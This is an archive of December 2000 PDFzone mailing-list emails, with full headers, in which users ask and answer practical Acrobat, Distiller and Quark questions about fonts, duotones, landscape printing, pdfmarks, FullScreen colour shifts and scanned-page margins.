leonardr@smtp.digapp.com Message-Id: In-Reply-To: <081F59AF1333D311AF7D00805FA713BBBF512A@md-admin.ags.com> References: <081F59AF1333D311AF7D00805FA713BBBF512A@md-admin.ags.com> Date: Tue, 5 Dec 2000 12:43:48 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: RE: [PDF] Batch Process multiple postscript files to 1 pdf file Cc: kcratty@ags.com Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 12:08 PM -0500 12/5/00, Cratty, Ken wrote: >I've experienced problems when a font would bold after incorporating more >than one pdf file together. That doesn't make any sense why that would happen UNLESS your PS files weren't correctly generated. Make sure you embed the fonts. > Acrobat recommends using the postscript file >that is bundled with Acrobat Distiller. This is a time consuming task. I was >hoping that there was a more user friendly utility. There may well be, but since I STILL don't know what OS platform you are using, I can't recommend anything yet :( Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 18:01:57-GMT,3195;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA29498 for ; Tue, 5 Dec 2000 11:01:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA20008; Tue, 5 Dec 2000 12:01:51 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 11:56:00 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA19517; Tue, 5 Dec 2000 11:55:59 -0600 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA19501; Tue, 5 Dec 2000 11:55:51 -0600 Received: from [165.121.123.179] (user-2iniutj.dialup.mindspring.com [165.121.123.179]) by smtp10.atl.mindspring.net (8.9.3/8.8.5) with SMTP id MAA27795; Tue, 5 Dec 2000 12:55:48 -0500 (EST) Message-Id: <200012051755.MAA27795@smtp10.atl.mindspring.net> Subject: [PDF] Re: problem with ""Inconsistent duo-tone results"" Date: Tue, 5 Dec 2000 00:53:34 -0400 x-sender: mikejahn@pop.mindspring.com x-mailer: Claris Emailer 2.0v3, January 22, 1998 From: mikejahn To: , Mime-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ on 12/5/00 12:18 PM, pdf-digest wrote; >Date: Mon, 04 Dec 2000 11:48:39 -0500 >From: cjmarch >Subject: [PDF] Inconsistent duo-tone results > >The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com >__________________________________________________________________ > >Situation: 12 duo-tones (Black & PMS 2587 CV) created in Photoshop 5.0.2 > >using a consistent method. > After running through Distiller 4.0 using press >specifications I had varying results. 7 of the > images distilled properly, the other 5 distilled as Cyan > >only. > >Solution: ??? Please help as this project is past due. > >Thanks, >Pete >Prep Inc. >Buffalo, N.Y. > > >Receive the latest PDF News in your Inbox. > you might try running it thru Agfa Apogee Create http://www.agfa.org/create/ it is free for 30 days, and is fully functional - i would need to ""see"" the page to tell you whats wrong otherwise - can you post it somewhere? (DONT EMAIL IT or attach it!) you might atleast download the Apogee Create documentation to understand the issues and how we ""fix"" this and a few other things that off the shelf distiller does not ""attack""... Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 18:31:00-GMT,3369;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA00472 for ; Tue, 5 Dec 2000 11:30:59 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA21911; Tue, 5 Dec 2000 12:30:49 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 12:24:53 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA21470; Tue, 5 Dec 2000 12:24:52 -0600 Received: from out4.mx.nwbl.wi.voyager.net (out4.mx.nwbl.wi.voyager.net [169.207.1.77]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA21462 for ; Tue, 5 Dec 2000 12:24:50 -0600 Received: from pop1.nwbl.wi.voyager.net (pop1.nwbl.wi.voyager.net [169.207.2.115]) by out4.mx.nwbl.wi.voyager.net (8.11.1/8.11.1) with ESMTP id eB5IOoi52526 for ; Tue, 5 Dec 2000 12:24:50 -0600 (CST) Received: from [169.207.127.116] (d178.as1.appl.wi.voyager.net [169.207.127.116]) by pop1.nwbl.wi.voyager.net (8.10.2/8.10.2) with ESMTP id eB5IOnp72552 for ; Tue, 5 Dec 2000 12:24:49 -0600 (CST) User-Agent: Microsoft-Entourage/9.0.2509 Date: Tue, 05 Dec 2000 12:23:11 -0600 Subject: [PDF] Landscape PDFs & Book Recs From: Charles Miller To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi List- Have belonged here (digest) for over a year, but just starting to regularly produce PDFs. 1. To avoid my asking a string of basic questions, can folks recommend one or two of the best books? (I see mine are all version 3.) (How soon is version 5 due out?) 2. Here is one of those questions. I made a PDF of a 2-page 3-fold brochure, landscape, from Quark 4.xx using the Export as PDF function, with Laserwriter 8 from the chooser. The PDF looked fine, but the only way I can print all of it (smaller) is to choose Fit to Page among the Reader options. (Also tried to print it from Acrobat.) Otherwise, it prints an incomplete landscape page. Printing starts 5 picas from the left edge and ends 8 picas from the right. So printing is almost 9 inches wide, which ""sounds like"" 8.5 plus bleeds. Went back and made another, looking for every chance I could find to choose Letter and Lansdscape. (Including creating a new Acrobat Distiller job settings profile with Landscape dimensions as the default page size.) Again, looks great on the screen but prints incomplete. Tried choosing Tabloid paper, but the multipurpose tray is not available and Letter paper is used. TIA... Chuck Miller Miller Boncher Studios, LLC Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 4:00:44-GMT,2404;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id VAA15931 for ; Tue, 5 Dec 2000 21:00:43 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id WAA13440; Tue, 5 Dec 2000 22:00:29 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 21:50:59 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id VAA13005; Tue, 5 Dec 2000 21:50:57 -0600 Received: from mtiwmhc23.worldnet.att.net (mtiwmhc23.worldnet.att.net [204.127.131.48]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id VAA12995 for ; Tue, 5 Dec 2000 21:50:54 -0600 From: geojohn@att.net Received: from webmail.worldnet.att.net ([204.127.135.58]) by mtiwmhc23.worldnet.att.net (InterMail vM.4.01.03.10 201-229-121-110) with SMTP id <20001206035043.ELZW2287.mtiwmhc23.worldnet.att.net@webmail.worldnet.att.net>; Wed, 6 Dec 2000 03:50:43 +0000 Received: from [12.82.133.32] by webmail.worldnet.att.net; Wed, 06 Dec 2000 03:50:42 +0000 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Linked pdfmarks Date: Wed, 06 Dec 2000 03:50:42 +0000 X-Mailer: AT&T Message Center Version 1 (May 2 2000) X-Authenticated-Sender: geojohn@att.net Message-Id: <20001206035043.ELZW2287.mtiwmhc23.worldnet.att.net@webmail.worldnet.att.net> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I have tried the button route as you suggested but I > fell into new and distracting confusion! Denis, See the following for a sample PDF: http://www.peakforms.com/pdfs/denis2.pdf (8 kB) It includes two file annotations that are the EPS files that contain the pdfmark code for each field. If you have any questions, post again. Good luck! George Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 11:00:05-GMT,4619;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA24729 for ; Wed, 6 Dec 2000 04:00:03 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA28519; Wed, 6 Dec 2000 04:59:42 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 04:48:33 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id EAA28061; Wed, 6 Dec 2000 04:48:30 -0600 Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA28057 for ; Wed, 6 Dec 2000 04:48:29 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by finch-post-11.mail.demon.net with esmtp (Exim 2.12 #1) id 143c7a-0004pS-0B for pdf@lists.pdfzone.com; Wed, 6 Dec 2000 10:48:24 +0000 Message-ID: <3A2E2615.56501DAD@postle.net> Date: Wed, 06 Dec 2000 11:42:13 +0000 From: Denis X-Mailer: Mozilla 4.72 [en]C-CCK-MCD NSCPCD472 (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] FullScreen mode colour References: <3D62AB6FFC80D211A84700104B10CB2C08734BCF@denver.quark.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi Todd, I wish it were that simple. The problem is most apparent when I put up both the quark file and the pdf file in menu view next to each other. The color is very obviously identical. By comparison, the Fullscreen View is unacceptably off-balance towards blue. So it doesn't seem likely to be a Quark issue. But a big problem nonetheless since I am working with close to 1000 screens and hundreds of images. BTW I have tried changing the Fullscreen frame from black to grey to see if there was some artefact there but it didn't make any difference. Any other suggestions/lines of enquiry would be welcome. Greetings Denis Postle The Mind Gymnasium: Digital Edition Todd Reid wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > If it's a shift that seems similar to an RGB->CMYK conversion, then make > sure you write .ps from XPress using Composite RGB (assuming you're using > XPress 4.1 or later) in your Print Dialog (on the Output Tab for Plates. > This will help retain vividness of your colors... > > Todd Reid > Quark, Inc. > > -----Original Message----- > From: Denis [mailto:denis@postle.net] > Sent: Tuesday, December 05, 2000 1:44 AM > To: pdf@lists.pdfzone.com > Subject: [PDF] FullScreen mode colour > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > I have a recurring problem with color in full Screen mode. > > The CDROM distribution pdf (origination in Quark) that I am developing > looks fine in menu view in Acrobat 4.05 but in FullScreen there is a > marked and unacceptable colour shift towards red/blue. > > I could adjust the spot colour to be 'tranlsated' adequately but the > dozens of colour images are all unacceptably degraded. > I am using eBook setup in Distiller and the problem is duplicated on a > second (PC 350Meg) machine. > > Is this an Acrobat fault/limitation? Does anyone have any idea how I > might progress a solution? > > Thanks > > Denis Postle > > ps if anyone with pdfmark experience could take a look at my 'linked > pdfmarks 12.44' message I'd appreciate that too! > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 14:13:01-GMT,2336;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA28429 for ; Wed, 6 Dec 2000 07:13:00 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA04215; Wed, 6 Dec 2000 08:12:48 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 08:03:38 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA03637; Wed, 6 Dec 2000 08:03:36 -0600 Received: from pr-scp.com ([208.163.171.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA03633 for ; Wed, 6 Dec 2000 08:03:34 -0600 Received: from icarus.homeland.prww.com ([10.10.10.12]) by ns1.pr-scp.com with ESMTP id <115221>; Wed, 6 Dec 2000 09:04:39 -0500 Received: by icarus.homeland.prww.com with Internet Mail Service (5.5.2650.21) id ; Wed, 6 Dec 2000 09:02:27 -0500 Message-ID: From: ""Craft, Stephen"" To: ""'pdf@lists.pdfzone.com'"" Subject: [PDF] Self-Close Acrobat? Date: Wed, 6 Dec 2000 09:02:27 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have a little web site that shows .pdf docs in frames. As I navigate throughout the site, I notice that the memory usage of acrobat.exe has shot up to 16mb. And after I leave the site, acrobat.exe is still there. Is there a way to tell the Acrobat ActiveX control to ""show this pdf and quit when done""? Or is there just a way via HTML for the client to close/quit/kill acrobat.exe? Thanks. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 14:19:29-GMT,5236;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA28592 for ; Wed, 6 Dec 2000 07:19:28 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA04703; Wed, 6 Dec 2000 08:19:21 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 08:11:12 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA04107; Wed, 6 Dec 2000 08:11:07 -0600 Received: from smtpnew.quark.com (root@smtpnew.quark.com [206.195.78.16]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA04103 for ; Wed, 6 Dec 2000 08:11:06 -0600 Received: from denver.quark.com (denver.quark.com [206.195.71.192]) by smtpnew.quark.com (8.9.3/8.9.3) with ESMTP id HAA28638 for ; Wed, 6 Dec 2000 07:29:02 -0700 Received: by denver.quark.com with Internet Mail Service (5.5.2650.21) id ; Wed, 6 Dec 2000 07:10:21 -0700 Message-ID: <3D62AB6FFC80D211A84700104B10CB2C08734BDD@denver.quark.com> From: Todd Reid To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] FullScreen mode colour Date: Wed, 6 Dec 2000 07:10:20 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""ISO-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Denis, Hmm...not sure what advice I could give, then. Any of the ""gurus"" have any ideas? Aandi? Olaf? -----Original Message----- From: Denis [mailto:denis@postle.net] Sent: Wednesday, December 06, 2000 4:42 AM To: pdf@lists.pdfzone.com Subject: Re: [PDF] FullScreen mode colour The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi Todd, I wish it were that simple. The problem is most apparent when I put up both the quark file and the pdf file in menu view next to each other. The color is very obviously identical. By comparison, the Fullscreen View is unacceptably off-balance towards blue. So it doesn't seem likely to be a Quark issue. But a big problem nonetheless since I am working with close to 1000 screens and hundreds of images. BTW I have tried changing the Fullscreen frame from black to grey to see if there was some artefact there but it didn't make any difference. Any other suggestions/lines of enquiry would be welcome. Greetings Denis Postle The Mind Gymnasium: Digital Edition Todd Reid wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > If it's a shift that seems similar to an RGB->CMYK conversion, then make > sure you write .ps from XPress using Composite RGB (assuming you're using > XPress 4.1 or later) in your Print Dialog (on the Output Tab for Plates. > This will help retain vividness of your colors... > > Todd Reid > Quark, Inc. > > -----Original Message----- > From: Denis [mailto:denis@postle.net] > Sent: Tuesday, December 05, 2000 1:44 AM > To: pdf@lists.pdfzone.com > Subject: [PDF] FullScreen mode colour > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > I have a recurring problem with color in full Screen mode. > > The CDROM distribution pdf (origination in Quark) that I am developing > looks fine in menu view in Acrobat 4.05 but in FullScreen there is a > marked and unacceptable colour shift towards red/blue. > > I could adjust the spot colour to be 'tranlsated' adequately but the > dozens of colour images are all unacceptably degraded. > I am using eBook setup in Distiller and the problem is duplicated on a > second (PC 350Meg) machine. > > Is this an Acrobat fault/limitation? Does anyone have any idea how I > might progress a solution? > > Thanks > > Denis Postle > > ps if anyone with pdfmark experience could take a look at my 'linked > pdfmarks 12.44' message I'd appreciate that too! > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 14:36:15-GMT,2342;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA29116 for ; Wed, 6 Dec 2000 07:36:14 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA06153; Wed, 6 Dec 2000 08:36:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 08:27:28 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA05593; Wed, 6 Dec 2000 08:27:27 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA05589 for ; Wed, 6 Dec 2000 08:27:25 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id OAA28531 for ; Wed, 6 Dec 2000 14:27:24 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Self-Close Acrobat? Date: Wed, 6 Dec 2000 14:27:24 -0000 Message-ID: <000701c05f90$a8682220$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I have a little web site that shows .pdf docs in frames. As > I navigate > throughout the site, I notice that the memory usage of > acrobat.exe has shot > up to 16mb. And after I leave the site, acrobat.exe is still there. Why are you worried about 16 mb of swap space? Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 14:49:04-GMT,3641;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA29383 for ; Wed, 6 Dec 2000 07:49:03 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA07213; Wed, 6 Dec 2000 08:48:56 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 08:40:37 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA06537; Wed, 6 Dec 2000 08:40:21 -0600 Received: from ny-bas06.csfb.com (ny-bas06.csfb.com [198.240.130.90]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA06530 for ; Wed, 6 Dec 2000 08:40:19 -0600 Received: (from uucp@localhost) by ny-bas06.csfb.com (8.8.8/8.8.8) id JAA24847 for ; Wed, 6 Dec 2000 09:38:59 -0500 (EST) Received: from unknown(169.37.98.46) by ny-bas06 via smap (V4.2) id xma021496; Wed, 6 Dec 00 09:38:13 -0500 Received: from 166.11.7.219 by snyc00710 with ESMTP (WorldSecure Server SMTP Relay(WSS) v4.5); Wed, 06 Dec 2000 09:37:50 -0500 X-Server-Uuid: a46faee8-2a4f-11d3-9c63-00508b4fa69c Received: by szrh00300 with Internet Mail Service (5.5.2651.58) id ; Wed, 6 Dec 2000 15:37:49 +0100 Message-ID: From: ""Mumtaz, Kashif"" To: ""'pdf@lists.pdfzone.com'"" Subject: [PDF] Acrobat Reader and IE Date: Wed, 6 Dec 2000 15:37:42 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) X-WSS-ID: 163090B7628727-01-01 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id IAA06532 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We are using FDFMerge for dynamically generating PDF files, we are getting various results with IE and Acrobat Reader. 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Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 15:06:48-GMT,3175;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA29782 for ; Wed, 6 Dec 2000 08:06:47 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA08568; Wed, 6 Dec 2000 09:06:35 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 08:59:36 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA07989; Wed, 6 Dec 2000 08:59:35 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id IAA07985 for ; Wed, 6 Dec 2000 08:59:33 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 39916 via TCP with SMTP; Wed, 06 Dec 2000 10:00:11 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: <3D62AB6FFC80D211A84700104B10CB2C08734BDD@denver.quark.com> References: <3D62AB6FFC80D211A84700104B10CB2C08734BDD@denver.quark.com> Date: Wed, 6 Dec 2000 09:55:48 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: RE: [PDF] FullScreen mode colour Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 7:10 AM -0700 12/6/00, Todd Reid wrote: >Hmm...not sure what advice I could give, then. Any of the ""gurus"" have any >ideas? Aandi? Olaf? > I have a GUESS... Since the color is correct in normal viewing mode, then we know that Acrobat has all the correct information for displaying the file - so there is no issue about how it put together. That leaves Acrobat and full screen mode. It sounds like you are using Windows as your OS platform, and Windows is well know for having ""less than accurate"" color correction code. I wonder if when Acrobat goes ""full screen"", it ends up having to rely on Windows code, rather than it's own, and hence the problem. One way to check this out would be to try viewing the file on a Mac - both regular and full screen and see if the problem persists. Also, you might want to try using an alternative PDF viewer (perhaps Ghostscript?) and see if it has similar problems. Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 15:17:44-GMT,3324;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA00085 for ; Wed, 6 Dec 2000 08:17:43 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA09523; Wed, 6 Dec 2000 09:17:00 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 09:08:30 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA08747; Wed, 6 Dec 2000 09:08:28 -0600 Received: from gateway.britbio.co.uk (gateway.britbio.co.uk [193.128.108.161]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA08738 for ; Wed, 6 Dec 2000 09:08:25 -0600 From: DUDGEON@britbio.co.uk Received: by gateway.britbio.co.uk; (8.8.8/1.3/10May95) id QAA08361; Wed, 6 Dec 2000 16:12:47 GMT Received: from somewhere by smtpxd Received: from somewhere by smtpxd Message-ID: <6540FCA49130D31184BB00508B303F130176FFFD@MERCURY> To: pdf@lists.pdfzone.com Subject: [PDF] adding margins to scanned pages Date: Wed, 6 Dec 2000 15:02:40 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I'm wanting to scan documents into PDF, but allowing defined margins at top, bottom, left and right. Acrobat4 seems only to allow me to capture the scanned area (the bounding rectangle), it allows me to scale it, but I can't figure out how to add a margin around the scanned image ( I can crop the page, but not add to it). Or to put it another way, what I want to do is scan the page into the space that's left once I've allowed my defined margins (lets say 1 inch) to my page size (lets say A4). Can I do this with Acrobat, do I need Capture, are there any tricks? many thanks Tim ---------------------------------------------------------------------------- ------------ Dr.Tim Dudgeon British Biotech Pharmaceuticals plc -------------------------------------------------- DISCLAIMER: This message contains proprietary information some or all of which may be confidential and/or legally privileged. It is for the intended recipient only who may use and apply the information only for the intended purpose. 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Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 15:20:10-GMT,2665;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA00180 for ; Wed, 6 Dec 2000 08:20:09 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA09802; Wed, 6 Dec 2000 09:19:30 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 09:12:45 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA09148; Wed, 6 Dec 2000 09:12:44 -0600 Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA09141 for ; Wed, 6 Dec 2000 09:12:42 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 143gFN-000Ev8-0X for 